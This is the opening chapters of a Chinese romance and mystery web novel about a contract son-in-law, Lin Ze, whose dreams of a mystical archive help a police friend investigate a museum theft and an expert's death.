《合约到期,女总裁想假戏真做》 第1章 时间到了就离婚 东海市。 中西医结合医院。 周医生放下报告,目光直视对面的年轻人。 “林先生,目前,您的病已经非常不乐观。” “如果继续服用止痛药拖延,很可能延误最佳治疗时期。” “周医生,”林泽嘴角笑容苦涩,“你的建议我会考虑,现在,还是再开一些止痛药吧。” 周医生表情变得严肃,眼神里透着一丝无奈。 这样的话,他已经听了好多遍了。 摇头过后,周医生拿起笔开好处方递过去。 “照这个药单,去拿药吧。” 林泽双手接过,苍白的脸上露出感激之色。 “谢谢周医生,这两天,我爷爷的状况怎么样?” “最近几天倒是可以,昏迷的时间缩短了很多。” 闻言。 林泽松了一口气。 “辛苦周医生了。” 话音未落。 一阵清脆的闹铃声响起,林泽匆忙点了一下手机。 “不好意思周医生,我有点急事,爷爷那边就麻烦你们了,明天一早我会过来。” 说着,林泽起身。 礼貌鞠躬后,这才离开。 “主任,这个林泽不是入赘豪门了吗?怎么连看病的钱都没有?一连好几个月,他好像一直在开止痛药。” 问话的女医生面容清丽,清澈眼眸中满是疑惑。 “豪门生活哪有那么容易?越是大家族规矩越多,传闻中唐若涵是迫于父母压力才跟林泽结婚,两个人没什么感情。” “没感情结什么婚?有钱人的心思真是搞不懂,唐家人应该也不怎么在乎这个赘婿,不然,这三年里,怎么谁都没有来过医院?” “林泽的爷爷病情时好时坏,唐家人哪怕为了颜面,也应该来一趟。” “咳咳咳。” 门外。 林泽故意咳嗽了两声,随后指向不远处。 “不好意思,我的药方落在这里了。” 一张药方孤零零地落在长凳上。 刚才议论的二人,瞬间停止谈话。 进屋拿起药单,林泽再次点头退出,嘴角的笑容愈发苦涩。 三年里,像刚才那样的议论,他早已经习以为常。 所有人都以为,他是攀附权贵的卑微赘婿。 可没有人知道,他跟唐若涵只是表面夫妻。 如果不是那一纸合约,他们的婚姻关系也不会维持到现在。 三年前,他大学毕业,爷爷遭遇车祸,司机肇事逃逸。 把家里所有的钱都拿出来,也只够两天的医药费。 医生说,如果放弃治疗,爷爷没有生还的可能。 可如果继续治疗,医药费则是像一座大山,几乎逼得他走投无路。 一个来自农村的穷学生,还没有在东海扎稳脚跟,便要面对如此难关。 大雨滂沱中,林泽绝望蹒跚。 这时。 唐若涵的父母出现了。 他们带了现金,还有合同,甚至准备好了签字笔。 豪车内。 林泽毫不犹豫地签下合约。 “只要能救爷爷,合同上的条件我都答应!” 林泽声音嘶哑,当场签字按手印。 “若是违约,要付……十倍违约金。” 林泽抬眼看向唐英豪。 “唐先生,我不会违约,那三个条款,我都记住了。” 唐英豪面带笑意,小心翼翼地收好合同。 “每月一号,你的卡上会多出三万块钱作为零花。” “谢谢唐先生。” “以后就是一家人了,不必客气。” 下车的时候,唐英豪给了林泽一把伞。 唐家人的及时救助也终止了林泽头上的雨滴。 从此,林泽有了另外的身份,唐若涵的丈夫,唐家的上门女婿。 林泽清楚,唐若涵是迫于父母的压力跟他结婚。 也知道,他们不是一个世界的人。 唐若涵心里有喜欢的人。 只是,那一纸合约将他们两个人生生地绑在一起。 三年期间,林泽没有出去找工作,对唐若涵言听计从,并且,对于合同的事情,林泽只字不提,完全按照合同的约定进行。 唐若涵的喜好,厌恶,林泽都了然于心。 不加糖的咖啡,每周一次的药膳,拒绝温馨的灯光…… 可不管林泽如何努力,唐若涵永远是冷若冰霜。 精致面孔上的疏离随时都在提醒林泽,他们之间,除了交易,再无其他。 自己要唐家的钱给爷爷救命,唐若涵要他应对父母。 各取所需,如此而已。 庆幸的是,经过两年的治疗,爷爷终于度过了危险期,偶尔还会清醒一阵。 眼看三年合约即将到期,林泽心中再次升起希望。 合约结束,他便可以不用再继续这种小心翼翼的日子。 这种煎熬也会跟着结束。 买好晚饭的食材,林泽匆忙往回赶。 唐若涵对吃饭时间要求极高,晚一分钟也会让她大发雷霆。 所以,林泽将一日三餐的做饭时间都设好闹钟,从不敢延误半分。 刚才路上有些堵车,回到别墅时,林泽的心已经提到喉咙。 刚要拿出钥匙,林泽发现,别墅的门是……开着的。 坏了! 唐若涵提前回来了! 林泽愈发紧张,脚步也不由得加快。 刚到门口,便听到咯咯的笑声。 “表姐,吴庸要回来,林泽那边怎么处理,你想好了吗?” 林泽本想进门,听到屋子里的问话,本能地愣住。 客厅的门闪了一道缝,能清晰地看到沙发上两个人的身影。 问话的是唐若涵的表妹,苏晴。 唐若涵柳眉微蹙。 “你怎么知道这两天他要回来?” “这还用问?”苏晴提高声音,“他的消息谁不清楚?人家现在可是东海市的青年才俊,像他这么年轻,在东海混得风生水起的有几个人?” 唐若涵垂眸,脸颊微微泛红。 苏晴凑近。 “三年前,你父母嫌他没出息,硬生生地把你们拆散,现在人家成了上市公司的CEO兼创始人,他们不会再说什么了吧?” “而且,你那三年合约不也快到期了吗,重新跟吴庸在一起,也算是修成正果。” “你跟林泽只有夫妻之名,并无夫妻之实,这个吴庸也早就知道,你们两个才是郎才女貌。” 唐若涵斜倚在沙发上,白色连衣裙刚到膝盖处,羊脂玉一般的小腿尽显妩媚。 “这个吴庸自然知道,我跟林泽的事情,我早跟父母提过了,时间一到,我们就办离婚手续。” “我也想好了,如果林泽赖着不走,唐家有的是办法让他离开!” 林泽脸上闪过一丝苦笑。 在唐若涵的心里,自己竟然会是赖着不走的人。 抬手,推门。 林泽声音恭敬,“唐总,我回来了。” 第2章 要不,你跟我吧! “好。” 唐若涵淡淡地回了一个字,继续看手机。 神情十分专注,并没有要发火的意思。 林泽悬着的心悄悄放下。 看来,刚才讨论的话题很合唐若涵的意,自己也跟着沾光了。 林泽换好鞋,刚要提着菜往厨房走,苏晴突然跑过来。 “让我看看,今天吃什么。” “怎么这么多素菜,这样会营养不良的。” 打开购物袋看了一番,苏晴抬头盯着林泽。 “姐夫,我要吃肉,我要吃水晶肘子,油焖大虾,东坡肉,还有糖醋排骨……” 苏晴一脸认真,掰着手指头报数。 唐若涵放下手机,开口制止,“你上辈子是饿死的吗,每次过来都要点那么多荤菜!” “为了吃姐夫做的菜,我早晨都没吃饭!” 说完,苏晴摇了摇林泽的胳膊。 林泽看向唐若涵,目光当中满是询问。 今天是二十号,依照唐若涵的习惯,这两天是以素食为主的。 唐若涵一脸无奈。 “算了,就按刚才说的做吧!” “我就知道表姐对我最好了,咱俩可是最好的表姐妹,最好的闺蜜!” 唐若涵话还没有说完,苏晴一下子扑过去,一口亲在唐若涵的脸上。 眼睛不仅笑成月牙,两根棕色的微卷马尾辫,也跟着一颤一颤的。 唐若涵拿纸巾擦了擦脸,继续跟苏晴聊天。 林泽则是进了厨房。 苏晴是唐若涵小姨家的女儿,比唐若涵小三岁,两个人从小一块长大,情同亲姐妹。 她也是唐家亲戚当中,唯一一个称林泽为姐夫的人。 林泽一边做菜,一边思考接下来的打算。 唐若涵的心上人这两天要回来,如果唐若涵同意,自己就提前搬出去。 毕竟,在众人眼中,自己是个碍眼的存在,唐若涵应该不会拒绝。 吴庸回来以后,唐若涵应该会经常跟他在一起,这样,自己也能腾出时间来照顾爷爷。 …… 很快。 林泽将做好的菜品端到餐桌上。 见唐若涵走过来,他像往常一样直了直身体。 “唐总,饭已经做好了,您慢用。” 说完,林泽准备转身。 这是唐若涵吃饭时的规矩。 三年以来,如果没有唐若涵的允许,林泽从来没有主动在餐桌上吃过饭。 无论有没有外人在场,一向如此。 “等一等!” 唐若涵的声音传来,林泽一怔。 “唐总,还有什么事吗?” 水晶灯下。 林泽五官更加清晰,在灯光照射下,脸色越发苍白。 唐若涵眼眸一震。 “你,脸色怎么那么难看?” “唐总,我没事,可能是昨天晚上睡得有些晚。” 唐若涵的目光停在林泽脸上。 三年来,她从来没认真看过眼前的这个男人。 仔细观察之下,唐若涵发现,林泽这张脸绝对属于上乘。 跟吴庸相比,几乎不分伯仲。 可在唐若涵的心早已经被吴庸占满,林泽,是没有半点位置的。 收回目光,唐若涵语气疏离。 “一块上桌吃饭吧。” 林泽想拒绝,唐若涵又来了一句,“我正好有事要说。” 闻言,林泽瞬间想到刚才唐若涵跟苏晴讨论的话题。 吴庸要回来,林泽这边怎么“处理。” 紧接着,林泽又释然了。 唐若涵要说的话,无非就是讨论离婚的相关事宜,以及自己的去留。 其实,哪里用得着他们用什么手段,自己怎么会赖着不走? 只是现在合约期限没有到,自己不能违约。 “唐总,距离合约期限还有十来天,您放心,时间一到,我不会纠缠。” 林泽的平静让唐若涵感觉到意外。 关于离婚这件事,唐若涵想象过无数次,对于林泽的反应,更是做过不少猜测。 愤怒,抗拒,歇斯底里。 又或者,是痛哭流涕的恳求。 甚至,唐若涵还想到过,林泽会狮子大开口讹她一笔钱。 只是现在的情形,让她觉得有些意外。 看这样子,好像林泽也在盼着这一天的到来。 难道,林泽这一番周旋,不就是为了做唐家的女婿,不是为了唐家的财产吗? 想到林泽跟她结婚的目的,唐若涵的话语当中也夹杂了一丝恼火。 “随便。” “表姐,什么时候吃饭啊,我要饿死了!” 洗好手的苏晴在餐桌旁转圈,一边催促一边咽口水。 唐若涵收回思绪,快步走向餐桌。 “姐夫,快来吃饭!” 苏晴摇着手招呼林泽,清澈的眸子里闪过点点亮光。 林泽走过去,小心翼翼坐到餐桌旁。 看到餐桌上的红豆排骨汤,唐若涵眸子里闪过一丝复杂。 由于身体原因,在每个月的这两天,她都会喝红豆排骨汤。 刚才虽然跟林泽说按照苏晴的菜谱去做,没想到,他还是没忘记红豆排骨汤的事。 林泽给唐若涵盛汤。 苏晴已经拿起筷子,迫不及待地夹起一块红烧排骨。 仓促地嚼了两口,还没咽下去,已经竖起大拇指。 “姐夫,你做的饭菜也太好吃了,表姐可真是有口福!” 林泽嘴角露出一丝笑意。 “谢谢夸奖!” 苏晴接着摇头。 “这可不是夸奖,这是事实!” “对了姐夫,有没有想好以后干什么?” “要不,我给你投资开个店怎么样?你这手艺没得说。” 没等林泽开口,苏晴突然眼前一亮。 “还是算了,你跟表姐离婚以后,要不,你跟我吧!” “啪!” 唐若涵将筷子摔在桌子上,柳眉蹙成一团。 “苏晴,你胡说什么!好好吃饭!” 苏晴挑挑眉毛,撅着小嘴回怼。 “人家说的是实话!反正你也是要跟姐夫离婚的。” “姐夫做饭这么好吃,干脆就让他去我那里。” “吴庸这两天不是要回来吗,姐夫继续留在这里也不合适,干脆,今天就让他跟着我走好了。” 唐若涵当场甩出白眼,声音也跟着提高了好几个度。 “你给我闭嘴,再乱讲,小心我把饭菜都收了!” 看唐若涵真的动怒,苏晴这才吐吐舌头,低头认真吃起饭来。 场面显得有些尴尬。 既然已经提起话题,林泽干脆挑明。 “唐总,明天我就去看房子,如果您实在着急,我可以先去住酒店。” 第3章 阴森档案库 “什么着急?” 唐若涵愣住,眼神当中一片茫然。 见唐若涵如此表情,林泽本能地认为,唐若涵的戏演得有些过了。 自己刚才说的那番话,不正是她所盼望的吗? 还是说,自己这样讲没有令她满意,当着苏晴这个外人的面,他要依依不舍,才能衬托出她唐总的高高在上? “你不用去住酒店。” 唐若涵面无表情,说话时,眼皮都没有抬。 “好,我尽量明天看好房子,如果唐总不允许我住酒店,我可以搬到我朋友家去住。” 唐若涵皱眉,声音骤然提高! “我说让你走了吗,你这么说,好像我要迫不及待地赶你走一样。” “唐总没有赶我走,是我自己要离开的。” 林泽按捺住了内心所有的情绪,声音平静地回答。 唐若涵咬咬嘴唇,一时间,竟然不知道该怎么反驳林泽。 这个时候着急离开了,那三年的时光又算什么? 将近三年的煎熬,自己都忍受过来了,又怎么会差这几天? 可是。 如果林泽执意要走,自己也断然不会放下自尊去挽留他。 “随便你!无所谓。” 甩出一句,唐若涵转身上楼。 苏晴看看餐桌上的饭菜,赶紧扒拉了几口,这才追着唐若涵去二楼。 林泽怔住。 明明说到了她的心里,她怎么又好像很生气的样子? 看来。 还是要联系一下张军,万一哪天唐若涵反悔了,他还能有个临时落脚的地方。 十几分钟过后。 林泽将餐厅收拾干净。 看到墙上的钟表指向十点,他这才回到自己的房间。 最近这段时间,发病间隔越来越短,每次眩晕过后的几天,林泽浑身的骨头就像散了架子一样。 头刚挨到枕头,林泽眼皮就开始发沉,随后沉沉睡去。 “哒——” “哒——” 青石板上,脚步声传出。 林泽便清楚,自己又来到了那个地方。 自打他记事时,每天晚上,他都会做同一个梦,进入同一个地方。 雾霭浓重,伸手不见五指,脚下小路青苔丛生。 林泽蹒跚向前,在爬上一千七百多个台阶后,终于停下脚步。 眼前的建筑,也逐渐清晰。 这是一所陈旧,散发着岁月气息的档案库,厚重的石墙上渗着水滴,木门也早已斑驳不堪。 周围,是一望无际的黑暗。 “吱呀——” 林泽抬手,推开木门。 三个房间映入眼帘。 其中一个,门是半开的,门上刻着的“过往”两个字清晰可见。 这也是林泽经常进入的那个房间。 旁边两个,房门上拴着数条铁链,足有婴儿手臂粗细,铁链虽然锈迹斑斑,却压迫感十足。 林泽收回目光,径直朝开着门的房间走去。 房间很大,一望无边。 似乎没有尽头。 数以亿计的档案袋和各种卷轴密密麻麻,一直摆到看不见的地方。 它们静静地放在那里,似乎等待有人翻阅。 林泽拿起一份档案袋。 “北宋官窑弦纹瓶,遗失时间,距今日四天前。” 看到档案袋上的标注,林泽缓缓打开。 触摸到泛黄的纸张,似乎一股力量也相继传出。 林泽闭上眼睛。 一些场景逐渐变得清晰。 私人博物馆内。 三个蒙面劫匪掐断电源,躲过安保设施进行盗窃。 “高33.6,口径9.9,足径14.2,圆腹,长颈,瓶洗口!” “腹部,7道弦纹!” “大哥,这玩意儿是真的,这下咱们发了!” 粗壮男子大口喘着粗气,眼睛里的光芒都要喷出来。 对面的两个人,也在不停地咽口水。 “别磨叽了,速战速决,赶紧倒手!” “对,就算便宜点,也得快点儿弄出去,这玩意儿稀缺,别砸在咱们手里头!” 一番悉簌声过后。 三人带着北宋官窑弦纹瓶离开。 十分钟后。 警铃大作…… 林泽合上档案,神情凝重。 这帮盗贼,也太猖狂了! 现在,档案当中没有北宋官窑弦纹瓶的最新留存,想必那帮人还没有出手。 奇怪的是。 丢失了如此贵重的藏品,那所私人博物馆的馆主竟然没有报案。 林泽摇摇头,将档案袋放回到原处,随即梦醒。 打开床头的灯。 林泽表情复杂。 每晚,他只能在档案库中读一份档案。 档案打开之际,正是文物失踪前最后一个小时的场景。 二十多年的时间下来,他也积累了不少有关于文物的知识。 当初,若不是合同当中的要求,说不定,他都可以凭借着这些积累,找一份不错的工作了。 “三年之内,禁止参加任何工作,不能与任何一家公司有雇佣关系。” 合同条款写得清清楚楚,一旦违反,便要赔付十倍违约金。 也正是因为如此,林泽踏踏实实的照顾了唐若涵三年,从来不敢动去找工作的念头。 “又过了一天,很快,就能结束了。” 说完。 林泽看了一下手机,现在是凌晨三点。 翻了一个身,这才重新睡去。 次日清晨。 林弦像往常一样,将饭菜摆在餐桌上,这才上楼去叫唐若涵。 苏晴昨晚没有走。 是跟着唐若涵一起下来的。 看到林泽,苏晴像往常一样热情地打招呼。 “姐夫,昨晚做梦我都梦到你做的饭菜了,都流口水了。” 苏晴的眼睛笑得像月牙。 唐若涵却寒着一张脸。 “赶紧吃饭,吃完以后去学校,别磨蹭。” “知道啦!” 苏晴扮了个鬼脸,迫不及待地走向餐桌。 餐桌上的早餐看似随意,其实,都是林泽根据唐若涵的身体状况定制好的食谱。 水煮蛋,黑咖啡,牛排。 同时,还搭配着新鲜时令水果。 对于面前的早餐,苏晴自然又感慨了一番。 唐若涵则是习以为常。 临走的时候,唐若涵告诉林泽,中午不回来吃饭。 二人用完餐离开,林泽才草草的吃了几口厨房里的饭。 今天要去看爷爷,陪爷爷说说话。 早晨十点钟。 林泽来到医院。 今天林泽特意起了个早,没想到,到达病房时,医护人员告诉林泽,林振山今天又是昏迷状态。 林泽心中一阵沉重,缓缓将保温桶放在桌子上。 第4章 博物馆那边,出事了 望着浑身插满管子的沧桑老人,林泽目光当中是掩饰不住的心疼。 “爷爷,我过来看你了,我知道,你能听到我的声音。” “三年马上就要到了,以后,我能有更多时间照顾你。” “我也攒了一些钱,足够我们生活。” 林泽声音很轻,小心翼翼地摸索着爷爷的手。 那手布满皱纹,瘦得似乎只剩下骨头。 如同他凹陷的,满是皱纹的脸颊一般。 病床上的人没有回应,林泽的心也跟着揪起来。 接下来,林泽不停说话。 时而回忆小时候的情形,时而诉说心事。 一个多小时过去,林振山依旧没有醒过来。 对于这种状况,林泽也已经习以为常。 随后又停留了一会儿,他这才离开。 刚走出医院的门。 手机突然响了。 看看来电号码,林泽按下接听键,还没开口说话,手机那端便传来急切的声音。 “老林,你在哪儿,我马上去接你,有麻烦了!” 林泽微微皱眉。 “什么事?” “省博物馆这边出事了!还死了人,上面催得急,我都要走投无路了!” “你是说,鉴定专家的事?” “对,就是这件事,死的是赵教授!这要是平常的小事,我也不会找你。” 林泽脑海当中闪过早间新闻的内容。 没想到。 张军这么快就来找他了。 “我在东海中西医结合医院门口……” “别说了,我马上去接你!” …… 十来分钟后。 一辆警车疾驰而来,瞬间停在林泽面前。 “老林,上车!” 林泽刚坐在副驾座上,张军便把一根烟送过来。 眼睛停留在林泽脸上几秒。 “怎么了?昨晚在这儿熬通宵了?脸色这么差?” 林泽摇头,拿起打火机,点燃香烟后深吸一口。 “不是什么大事,说你的。” 张军将警车靠边停下,伸手抹了一下额头,对着林泽的香烟接了个火,猛地吐出一口。 “博物馆那边的事大了,已经上报,上面催得急。” “新闻上不是说,赵教授是猝死吗?难道还有别的原因?” 林泽感觉奇怪。 新闻上讲,鉴定专家赵教授连夜加班,猝死在工作岗位,法医鉴定结果也已经完毕。 赵教授德高望重,在业界有很大的影响力,上报给上级,在情理之中。 可催的急是什么意思? 张军看看林泽,又猛抽一口烟。 “有些事情,不能公诸于众。” “赵教授死亡,这是其一。” “一同发生的,是文物被盗,九眼天珠失踪了!” 林泽手指微颤,香烟也跟着抖了一下。 脑海当中,瞬间闪过天珠的相关信息。 天珠也称法罗天珠,最早取自海螺的化石。 后由于海螺化石稀缺,古人便选择一种含玛瑙成分及玉质成分的沉积岩来打磨,成品叫做九眼页岩天珠。 天珠的制作工艺古老复杂,而且现在已经失传。 制作成品,就根据图案当中“眼纹”的数量,依次分为一眼,二眼,直至九眼天珠。 九眼天珠本就稀少,珍品传世的老天珠更加珍贵无比。 东海省博物馆的九眼天珠,乃镇馆之宝。 赵教授死了,天珠也跟着不见了? 这……的确是大事! “新闻上能播出的,是给大众群体一个交代,不能播的,就只能由我们来解决了。” “这也是为什么我这么着急找你的原因,这次还得辛苦你。” 张军转头,对着林泽撇了撇嘴。 “别说那么多了,什么时候去现场?” “你要有时间,咱们现在就去。” “那还等什么,走吧!” 见林泽答应,张军立刻来了精神,瞬间启动警车一脚将油门踩到底。 同时甩出一句。 “哥们,我就知道,你不会坐视不管。” 林泽将头看向窗外,无语地笑笑。 巧在今天唐若涵不在家吃饭,自己才有功夫出去。 换做平时,肯定是不行的。 看着警车上的执法记录仪,林泽又转头看向自己的这个大学同窗。 大学四年。 张军的理想从来没有变过。 “我要做人民警察,保护人民群众的生命财产安全,打击犯罪!” 课余时间,张军就窝在图书馆,专门看那些破案小说。 毕业后,更是以优异成绩进入警察局。 踏实肯干,业务出色,再加上破获了几起大案,张军成了警局最年轻的队长。 而那几起大案的破获,全都因为林泽梦境的帮助。 正因为如此,林泽成为了张军破获文物失踪大案的“功臣。” 而这个能力,他从未告诉过任何人,包括张军。 不是不信任,而是他不想招惹任何麻烦。 每一次,林泽都会跟着张军进入案发现场,在观察证据的同时,他都会把文物的年代及特性记下来。 晚上进入梦境,打开档案袋。 次日,又装作无意说起那些线索。 张军得到启发,案件便会顺利破获。 所以。 林泽在警局也有一定的知名度,甚至有人开玩笑说,林泽是张军身边的小诸葛。 半个小时过后。 张军将车停在东海省博物馆停车场。 在外界看来,因为赵教授猝死的原因,整个博物馆都被拉起了警戒线。 守在门口的警察人员,也都以赵教授的事情还未处理完毕为借口,杜绝一切外界窥探。 即便如此。 依旧每天有人来到博物馆附近,想一探究竟。 同时。 关于赵教授的死因,议论之声也从未断过。 “官方已经给出明确结果,可还是有人不信,”张军一边往前走,一边介绍,“这也难怪,出事的是赵教授,这本身就是个传奇人物。” 林弦一直跟在张军身边。 边听边点头。 跟众人一样,对于赵明来教授,林泽并不陌生。 赵明来,70岁,身兼数职,不仅是东海市的收藏大家,更是东海博物馆文物鉴定专家。 在鉴定界,赵明来教授凭借着深厚学识以及专业能力,有着一定的话语权。 “放眼整个东海乃至在国际,赵教授都非常有名望,”张军看了一下周围,压低声音,“正因为如此,上头只给了三天的时间,警局这边,压力山大呀!” 话刚说完。 博物馆内,一个二十来岁的年轻警察小跑着过来。 看到张军,立正,敬礼。 “张队!” 随即又看向林泽这边,点头致敬,“林哥,这次还得让林哥费心。” 张军抬眸。 “李子,什么事?” “张队,赵教授的夫人来了,现在正在里面。” 张军眼眸瞬间一紧,“这么快?” “赵夫人着急,拦不住啊!”被称作李子的警员,眉头皱成一个“川”字,一脸为难的汇报。 第5章 我没弄死他。 张军转头看向林泽。 “走吧,去里面看看。” 说着,二人快步向前,直奔警戒线后的博物馆。 李子一路小跑着追在后面。 “张队,赵夫人那边……” “你先稳住,我们看完现场就过去。” 说话的时候,张军头也没回。 闻言,李子硬是将接下来的话咽了下去。 来到一楼临时展馆,林泽跟着张军换上鞋套,并且带上已经准备好的手套。 “临时展馆这边没什么问题,二楼是案发现场,赵教授的遗体已经被带走,死亡现场已做明显标注。” 张军指向二楼楼梯。 “盗窃人员并没有走楼梯,是顺着窗户那边的梯子进来的。” 林泽抬眼看了一下窗户,“有没有怀疑方向?” “根据眼下掌握的证据来看,文物失窃方面有两种可能:一种是盗贼与内部人员里应外合,将九眼天珠盗取后离开,另外一种,是与内部人员无关,盗窃团伙踩点后进行盗窃。” 张军一边上楼梯,一边说当下的情况。 “无论是哪种可能,都是在盗窃过程当中遇到了赵教授。” “目前,无法肯定的是赵教授的致死原因。” “究竟是盗窃团伙在行窃过程当中,赵教授目睹现场,恰巧病发,还是那些人诱发赵教授发病,随后再行窃,这个无法肯定。” 林泽放缓脚步。 “法医那边鉴定的结果是什么?” “初步判断为心脏骤停导致的死亡,赵教授身上没有外伤,这就排除盗贼对赵教授动手的可能,但是在案发现场,我们的工作人员找到了硝苯地平缓释片。” 林泽声音提高,“降压药?” 张军眉头收紧。 “对,在展台玻璃碎片当中发现的。” “无论如何,对于赵教授的死亡,那帮盗贼都脱不了干系,但赵夫人想要个明确的答复。” “考虑到赵教授在业界的影响力,上头认为,身为赵教授的遗孀,赵夫人提出的要求很合理。” “嫌疑人方面,也很简单。” “事发前一个星期,赵教授就住在博物馆,在赵教授死亡的时间点,赵夫人正在外地旅游,赵教授的助手正在给他女朋友过生日,博物馆的保安首先发现的赵教授的尸体,报警人也是他。” 一声叹息过后,张军重新看向林泽:“这就是所有掌握的情况,卡这了,后续线索全无。” 林泽走进二楼展厅。 放置九眼天珠的展柜已被破坏,地上满是玻璃渣子。 同时,地面上的白色标记线触目惊心。 “案发当时,报警器没有响?监控设备也失灵了?” 张军无语。 “事后查找原因,报警器因为没有定时检修,线路接触不良,没响。” “这种低级的错误也能犯?监控设备不会也是如此吧?” 林泽强压住内心的怒火。 张军继续摇头。 “据说,马上就要到,检修的时间还没来得及检修。” 林泽伸手摸摸脑门。 “报案人是怎么回事?” “早就吓傻了,不管问什么都是不清楚。” 又在现场转了一圈,林泽转身。 张军一看就急了。 “老林,这就看完了?要不要再观察观察?” 林泽摇头。 盗窃团伙没有留下什么线索,但有一点可以肯定,他们不是冲着赵教授来的。 或许,遇到赵教授,他们也感觉意外。 至于那个保安,估计现在是说不清了。 再次看向二楼的窗户,林泽眯起眼睛。 “疑点。” “一,赵教授的死亡原因。” “二,保安的证词是否属实?” “三,若是监守自盗,盗窃团伙为何会从二楼的窗户入手?” 林泽话音刚落,张军的声音紧接着传来。 “可若不是监守自盗,为什么报警器和监控同时失灵?这说不通啊!” “或许,这里面有其他的原因。” 屋盗窃案,赵教授一起死亡案同时发生。 上面的压力并不比张军小。 在这三天时间里能否破案,就要看今天晚上了。 抬腕看了一下时间,林泽转头提议。 “要去看一下赵夫人吗?” “好。” 说话间。 张军递给林泽一根烟。 林泽盯着烟看了片刻,这才收回目光。 几分钟后。 两个人来到博物馆的贵宾接待区。 刚到门口,便听到屋子里哽咽的声音。 “我们老赵,把这一辈子都奉献给了国家文物,这三十多年来,在弘扬民族文化方面,他……做出了巨大的贡献。” “这是他做的课题,主题就是呼吁人们保护文物。” “光是从海外追回来的那些流失国宝,就有十多件。” “老赵还有遗嘱,他私人收集的那些文物,要无偿捐给国家博物馆。” “这样的一个人,就这么……” 话说到一半,接下来便是哽咽声。 林泽跟张军相互看了看,随后抬脚进门。 “张队!” 屋里的几个警员看到张军立刻站起身。 张军摆摆手,目光停留在沙发上。 “张队长,有进展吗?老赵的案子现在怎么样了?” 问话的老太太眼皮红肿,神情憔悴,脸上还有未干的泪痕。 老太太身边的年轻人也焦急地看向这边。 张军上前一步给林泽介绍。 “林泽,这位是赵夫人,这位年轻人,是赵教授的助理,周平方。” “张队长,你们的办案速度也太慢了,都这么久了,人怎么还没抓住?” 周平方一脸寒霜,语气冰冷,“人证物证俱全,先把李志佳抓起来,严加审问不就破案了吗?” “周先生,我们办案讲究证据,不能仅凭猜测,”张军解释,“倘若李志佳真和盗窃团伙勾结,那些人不会从二楼的窗户里进去。” “行了,我们不是警务人员,剖析案情也不是我们的职责,李志佳对我师傅怀恨在心,这是肯定的。” 不给张军继续解释的机会,周平方当即甩出一张冷脸。 张军皱眉,“周先生,你的心情我们能够理解,但我们办案要讲证据,走流程。” “小周,别说了,”老太太踉跄地站起身走到周平方面前,“我相信,警察一定会给我们一个结果。” 刚一开口,老太太的声音又变得哽咽。 转头看向张军和林泽,眼眶又红起来。 “张队长,辛苦你们了,给大家添了麻烦,我心中也过意不去,可我还是希望……你们能够抓住凶手。” “九眼天珠是老赵正在跟进的课题。” “你们能够尽快破案,老赵在地下也能瞑目了。” “否则……” 老太太再次泣不成声,怀里依旧抱着厚厚的一叠证书。 这些,都是赵明来生前的荣誉。 张军心中一沉。 “赵夫人,您放心,我们一定将凶手绳之以法,还希望您节哀顺变。” 林泽看了看老太太,神情平静,“老张,我们先出去,让赵夫人冷静一会儿吧。” 张军听完点头,转身跟林泽走出房间。 几步过后,林泽放缓脚步,“李志佳是怎么回事?” “李志佳就是那个保安,他也是我们第一个怀疑对象,案发以后,我们首先查的就是他。” “据调查,李志佳曾经向赵教授借钱,因为数额太大,赵教授没有立刻同意。” “私底下,李志佳跟赵教授的关系也很不错,几番询问,李志佳说得最长的一句话就是,我没弄死他。” 林泽停下,随即开始琢磨周平方刚才说的话。 第6章 白月光,提前回来了。 黑色商务车内。 后排坐上。 唐若涵手拿墨镜,神情严肃。 脑海当中闪过之前的种种,唐若涵柳眉蹙成一团。 “唐总,半个小时以后,白总会来公司,之前的那个合同……” 女秘书的话还没说完,唐若涵直接将其打断。 “告诉他们,能等就等,不能等可以另寻高明!” “今天的事,不能推!” 冰冷话语当中,是绝对的不容置疑。 女秘书听完,迅速收回目光,继续专注开车。 今天跟白总见面,是一个星期以前就定下来的。 但唐总这边临时出了状况,她也只能尽量周旋。 现在,只希望白总能够理解吧! 女秘书正在想如何措辞。 唐若涵的思绪早已经飞回上学的那段时光。 赵明来教授知识渊博,平易近人,是她最为尊敬的导师之一。 大学几年,也正是因为受了赵教授的影响,唐若涵开始做公益事业。 赵教授笔耕不辍,将毕生的精力都用在保护文物上。 他这种精神,值得所有学生敬佩。 想到赵明来和蔼的面孔,唐若涵心情愈发沉重。 “唐总,我们马上就要到了。” 看着汽车上的导航,女秘书小心地提醒。 “好,知道了。” 唐若涵声音嘶哑,缓缓戴上墨镜。 尽管之前已经有心理准备,可随着目的地越来越近,唐若涵的手也越握越紧。 直到现在,唐若涵都愿意不接受赵明来逝世的噩耗。 …… 城郊。 一栋白色二层小楼外,豪车林立。 小楼门口,台阶上,站着两个穿黑衣服的年轻人。 二人神色肃穆,黑色西服的胸口处,别着白花。 唐若涵走向前,门口的二人立刻鞠躬行礼。 点头过后,唐若涵走向屋子。 灵堂已经布置好,白桌上摆放着香炉和供品。 长明灯旁,有专人看守。 拿起长香,唐若涵叩拜以后,有专人接过香插在香炉之中。 这时,唐若涵转身看向赵夫人。 “师母,节哀顺变。” 赵夫人泣不成声,无力地点点头。 前来吊唁的宾客齐聚一堂,整个灵堂布满哀伤。 随即。 有相关人员带领唐若涵去休息区。 休息区设在后院。 唐若涵无法忍受哀伤的气氛,在休息区停留片刻,便走出去想透透气。 望着眼前熟悉的院落,唐若涵柳眉紧蹙。 “真是太可惜了,好人没好报啊!” 不远处。 一个大妈一边说话一边摇头。 唐若涵目光当中闪过疑惑之色,不由地抬脚。 这时。 大妈的声音再一次传来。 “赵教授啊,你是个大好人,但愿到了那边,不再被人害……” 唐若涵瞳孔收紧,瞬间愣住。 被人害? 什么意思? 缓过神来后,唐若涵迅速上前,快步来到大妈跟前。 “您……刚才在说什么?什么被人害?” 大妈回头,看到唐若涵胸前别着白花,又是一声叹息。 “姑娘,赵教授走了,他死得那么惨,连命都搭上了,还不是被人害的?” “赵教授,不是心脏病复发吗?” 大妈冷哼一声,脸上的神情也变得犀利起来。 “那是对外的说法,实际上,赵教授就是被那个讨债鬼给害死的!” “张口就要借三十万,谁能说给就给?还不容别人考虑一下吗?” “再说了,一个做保安的,什么时候能攒够三十万还给人家?凭什么狮子大开口?” “因为没及时给钱,姓李的恼羞成怒,这才在博物馆,害死了赵教授!” 唐若涵面无血色,怔在原地。 “不可能,赵教授怎么会……是被人害死的?” 不可置信之际,唐若涵说话也变得磕磕绊绊,就连心跳,也跟着加速。 官方新闻,一直说赵教授是猝死,没想到,竟然是这样的事实! “不可能。” 唐若涵喃喃自语。 对面大妈又开始摇头。 